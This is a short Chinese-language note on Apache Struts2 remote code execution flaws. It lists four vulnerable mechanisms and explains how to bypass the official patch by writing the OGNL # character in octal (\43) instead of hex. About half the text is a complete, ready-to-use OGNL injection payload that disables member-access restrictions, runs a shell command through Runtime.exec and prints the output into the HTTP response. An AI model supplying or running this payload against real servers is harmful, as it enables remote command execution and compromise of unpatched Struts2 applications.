Struts 2是在struts 和WebWork的技术基础上进行了合并的全新的框架。
Struct2漏洞产生原因:
1.Apache Struts2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,如果未关闭此机制将导致远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
2.Apache Struts2在实现过程中使用了OGNL表达式,并将用户通过URL提交的内容拼接入OGNL表达式中,当debug模式开启时,攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。3.Apache Struts 2.3.1.1之前版本中的DebuggingInterceptor组件中存在漏洞。当使用开发模式时,远程攻击者可利用该漏洞借助未明向量执行任意命令。
4.Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了OGNL表达式,并将用户通过URL提交的内容拼接入OGNL表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。
xwork的ognl语句执行,变量必须要带有#,之前通过\0023(16进制的#)来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))